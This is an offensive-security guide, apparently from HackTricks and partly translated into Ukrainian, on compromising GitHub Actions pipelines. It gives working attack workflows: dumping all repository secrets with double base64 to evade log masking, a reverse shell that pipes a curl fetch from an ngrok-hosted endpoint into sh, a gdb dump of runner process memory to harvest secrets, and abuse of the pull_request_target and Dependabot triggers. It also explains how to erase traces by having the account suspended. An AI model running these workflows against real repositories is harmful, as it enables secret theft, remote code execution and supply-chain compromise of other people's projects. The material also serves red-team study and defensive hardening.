Зловживання Github Actions

Reading time: 21 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Інструменти

Наступні інструменти корисні для пошуку Github Action workflow-ів і навіть виявлення вразливих:

Базова інформація

На цій сторінці ви знайдете:

  • Короткий огляд усіх можливих наслідків, якщо нападник отримає доступ до Github Action
  • Різні способи отримати доступ до action:
  • Мати permissions на створення action
  • Зловживання тригерами, пов'язаними з pull request
  • Зловживання іншими техніками зовнішнього доступу
  • Pivoting з вже скомпрометованого репозиторію
  • Нарешті, секція про техніки постексплуатації для зловживання action з середини (щоб викликати описані наслідки)

Підсумок впливів

Для вступу про Github Actions check the basic information.

Якщо ви можете execute arbitrary code in GitHub Actions в межах repository, ви можете:

  • Steal secrets змонтовані в pipeline та abuse the pipeline's privileges для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
  • Compromise deployments та інші artifacts.
  • Якщо pipeline деплоїть або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє виконати supply chain attack.
  • Execute code in custom workers щоб зловживати обчислювальними ресурсами та pivot до інших систем.
  • Overwrite repository code, залежно від permissions, пов'язаних з GITHUB_TOKEN.

GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

Ви можете переглянути можливі permissions цього токена тут: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed.
These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Декілька цікавих речей, які можна робити з цим токеном:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Зауважте, що у кількох випадках ви зможете знайти github user tokens inside Github Actions envs or in the secrets. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.

Перелік secrets у виводі Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати reverse shell з secrets
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Можна перевірити дозволи, надані Github Token у репозиторіях інших користувачів, переглянувши логи Github actions:

Дозволене виконання

note

Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ для create a new repo in the organization, або маєте write privileges over a repository.

Якщо ви в такій ситуації, ви можете просто переглянути Post Exploitation techniques.

Виконання при створенні репо

Якщо члени організації можуть create new repos і ви можете виконувати Github actions, ви можете create a new repo and steal the secrets set at organization level.

Виконання з нової гілки

Якщо ви можете create a new branch in a repository that already contains a Github Action налаштований, ви можете modify його, upload контент, а потім execute that action from the new branch. Таким чином ви можете exfiltrate repository and organization level secrets (але потрібно знати, як вони називаються).

warning

Any restriction implemented only inside workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.

Ви можете зробити змінений action виконуваним вручну, коли створюється PR або коли код пушиться (залежно від того, наскільки шумним ви хочете бути):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Виконання в форку

note

Існують різні тригери, які можуть дозволити нападнику виконати Github Action іншого репозиторію. Якщо ці дії, що запускаються тригерами, неправильно налаштовані, нападник може їх скомпрометувати.

pull_request

Тригер workflow pull_request буде виконувати workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це ваш перший вклад у проєкт, де ви співпрацюєте, якийсь maintainer має підтвердити запуск workflow:

note

Оскільки обмеження за замовчуванням стосується перших контрибуторів, ви можете внести зміни, виправивши дійсну помилку/опечатку, а потім надіслати інші PR, щоб зловживати новими правами pull_request.

Я це тестував і це не працює: Another option would be to create an account with the name of someone that contributed to the project and deleted his account.

Більше того, за замовчуванням не надаються права на запис і доступ до секретів для цільового репозиторію, як зазначено в docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Нападник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Проте через згадані обмеження він не зможе вкрасти секрети або перезаписати репозиторій.

caution

Так, якщо нападник змінить у PR Github Action, який буде запущений, буде використано його Github Action, а не той із оригінального репозиторію!

Оскільки нападник також контролює код, що виконується, навіть якщо для GITHUB_TOKEN немає секретів або прав на запис, нападник наприклад може upload malicious artifacts.

pull_request_target

Тригер workflow pull_request_target має права запису до цільового репозиторію та доступ до секретів (і не запитує підтвердження).

Зауважте, що тригер workflow pull_request_target запускається в базовому контексті і не в тому, що надає PR (щоб не виконувати ненадійний код). Для додаткової інформації про pull_request_target check the docs.
Більше інформації про цей конкретно небезпечний випадок дивіться в github blog post.

Може здатися, що оскільки виконуваний workflow визначено в base, а не в PR, використовувати pull_request_target безпечно, але є кілька випадків, коли це не так.

І цей (workflow) матиме доступ до секретів.

workflow_run

The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.

In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

Цей тип workflow може бути атакований, якщо він залежить від workflow, який може бути спровокований зовнішнім користувачем через pull_request або pull_request_target. Декілька вразливих прикладів можна знайти в цьому блозі. Перший приклад полягає в тому, що workflow, запущений через workflow_run, завантажує код атакуючого: ${{ github.event.pull_request.head.sha }}
Другий приклад полягає в передачі artifact з недовіреного коду в workflow_run workflow і використанні вмісту цього artifact таким чином, що це робить його вразливим до RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Зловживання виконанням з форків

Ми вже згадували всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як ці виконання, при неправильній конфігурації, можуть бути зловживані:

Виконання checkout з ненадійного джерела

У випадку pull_request workflow буде виконано в контексті PR (тому він виконуватиме шкідливий код PR), проте хтось має його спочатку авторизувати, і воно запуститься з певними обмеженнями.

У випадку workflow, що використовує pull_request_target or workflow_run, який залежить від workflow, що може бути запущений з pull_request_target or pull_request, буде виконано код з оригінального репозиторію, тож зловмисник не може контролювати виконуваний код.

caution

However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Потенційно ненадійний код виконується під час npm install або npm build, оскільки build-скрипти та залежні пакети контролює автор PR.

warning

A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).

Context Script Injections

Зауважте, що існують певні github contexts, значення яких контролюються користувачем, що створює PR. Якщо github action використовує ці дані для виконання будь-чого, це може призвести до виконання довільного коду:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

Згідно з документацією: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у job, визначивши або оновивши змінну середовища і записавши це у файл середовища GITHUB_ENV.

Якщо зловмисник зможе впровадити будь-яке значення в цю змінну середовища, він може впровадити змінні середовища, які дозволять виконувати код у наступних кроках, наприклад LD_PRELOAD або NODE_OPTIONS.

Наприклад (this and this), уявіть workflow, що довіряє завантаженому artifact і зберігає його вміст у змінну середовища GITHUB_ENV. Зловмисник може завантажити щось подібне, щоб скомпрометувати його:

Dependabot and other trusted bots

Як зазначено в цьому блозі, кілька організацій мають Github Action, який зливає будь-який PR від dependabot[bot], як у:

yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Це проблема, тому що поле github.actor містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача dependabot[bot] змінити PR. Наприклад:

  • Fork the victim repository
  • Add the malicious payload to your copy
  • Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
  • Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
  • Then, attacker goes back to the initial PR Dependabot opened in his fork and runs @dependabot recreate
  • Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes dependabot[bot] the actor of the latest event that triggered the workflow (and therefore, the workflow runs).

Moving on, what if instead of merging the Github Action would have a command injection like in:

yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Well, the original blogpost proposes two options to abuse this behavior being the second one:

  • Fork the victim repository and enable Dependabot with some outdated dependency.
  • Create a new branch with the malicious shell injeciton code.
  • Change the default branch of the repo to that one
  • Create a PR from this branch to the victim repository.
  • Run @dependabot merge in the PR Dependabot opened in his fork.
  • Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the dependabot[bot] the actor of the latest event that triggered the workflow and using a malicious branch name.

Уразливі сторонні Github Actions

dawidd6/action-download-artifact

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

The thing problem is that if the path parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.

Example of vulnerable workflow:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Це можна атакувати за допомогою цього workflow:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Інший зовнішній доступ

Deleted Namespace Repo Hijacking

Якщо обліковий запис змінює свою назву, інший користувач може зареєструвати обліковий запис з тією ж назвою через деякий час. Якщо repository мав менше ніж 100 stars перед зміною назви, Github дозволить новому зареєстрованому користувачу з тією ж назвою створити repository with the same name, як той, що було видалено.

caution

Отже, якщо action використовує repo з неіснуючого акаунта, все ще можливо, що attacker може створити цей акаунт і compromise the action.

Якщо інші repositories використовували dependencies from this user repos, attacker зможе їх перехопити. Тут більш повне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

note

У цьому розділі ми поговоримо про техніки, які дозволяють pivot from one repo to another, за умови, що ми маємо певний доступ до першого (див. попередній розділ).

Cache Poisoning

Між запускaми workflow в одному й тому ж branch зберігається cache. Це означає, що якщо attacker compromise package, який потім зберігається в cache і буде downloaded та виконаний більш привілейованим workflow, то він зможе також compromise цей workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows можуть використовувати artifacts from other workflows and even repos; якщо attacker вдасться compromise Github Action, що uploads an artifact, який пізніше використовується іншим workflow, то він зможе compromise the other workflows:

Gh Actions - Artifact Poisoning


Post Exploitation from an Action

Github Action Policies Bypass

Як згадано в this blog post, навіть якщо repository або organization має політику, що обмежує використання певних actions, attacker може просто download (git clone) action всередині workflow, а потім посилатися на нього як на local action. Оскільки політики не зачіпають local paths, the action will be executed without any restriction.

Example:

yaml
on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Доступ до AWS, Azure та GCP через OIDC

Перевірте наступні сторінки:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

Доступ до secrets

Якщо ви вставляєте контент у скрипт, корисно знати, як отримати доступ до secrets:

  • Якщо secret або token встановлено як environment variable, його можна безпосередньо отримати через середовище, використовуючи printenv.
Переглянути secrets у виводі Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати reverse shell з secrets
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Якщо secret використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і є доступним.

cat /home/runner/work/_temp/*

- Для JavaScript actions secrets передаються через змінні оточення
- ```bash
ps axe | grep node
  • Для custom action ризик може варіюватися в залежності від того, як програма використовує secret, отриманий з argument:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
  • Перелічіть всі secrets через secrets context (рівень collaborator). Учасник з write-доступом може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використайте подвійне base64, щоб обійти маскування логів GitHub і декодуйте локально:
yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Декодувати локально:

bash
echo "ZXdv...Zz09" | base64 -d | base64 -d

Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлений на GitHub-hosted runners).

Abusing Self-hosted runners

Щоб знайти, які Github Actions are being executed in non-github infrastructure, шукайте runs-on: self-hosted у конфігураційному yaml для Github Action.

Self-hosted runners можуть мати доступ до extra sensitive information, до інших network systems (вразливі endpoints в мережі? metadata service?) або, навіть якщо вони ізольовані і будуть знищені, кілька action-ів можуть виконуватись одночасно, і зловмисний може steal the secrets іншого.

У self-hosted runners також можливо отримати the secrets from the _Runner.Listener_** process** який міститиме усі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Перегляньте this post for more information.

Реєстр Docker-образів Github

Можна створити Github actions, які збудують і збережуть Docker-образ всередині Github.
Приклад можна знайти в наступному розгортному блоці:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Як видно з попереднього коду, реєстр Github розміщено на ghcr.io.

Користувач із правами читання цього repo зможе завантажити Docker Image, використовуючи personal access token:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Потім користувач може шукати leaked secrets in the Docker image layers:

Docker Forensics - HackTricks

Чутлива інформація в логах Github Actions

Навіть якщо Github намагається виявляти secret values в логах actions і не показувати їх, інші чутливі дані, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо це не specifically configured.

Приховування слідів

(Техніка з here) По-перше, будь-який створений PR чітко видно публіці в Github і цільовому GitHub обліковому запису. За замовчуванням у GitHub ми не можемо видалити PR з інтернету, але є підступ. Для GitHub акаунтів, які suspended GitHub, всі їхні PR автоматично видаляються і видаляються з інтернету. Отже, щоб приховати свою активність, вам потрібно або домогтися припинення дії вашого GitHub облікового запису, або щоб ваш акаунт був позначений. Це приховає всю вашу діяльність на GitHub з інтернету (фактично видалить усі ваші exploit PR)

warning

Єдиний спосіб для організації з'ясувати, що її націлили — перевірити GitHub логи в SIEM, оскільки з GitHub UI PR буде видалено.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks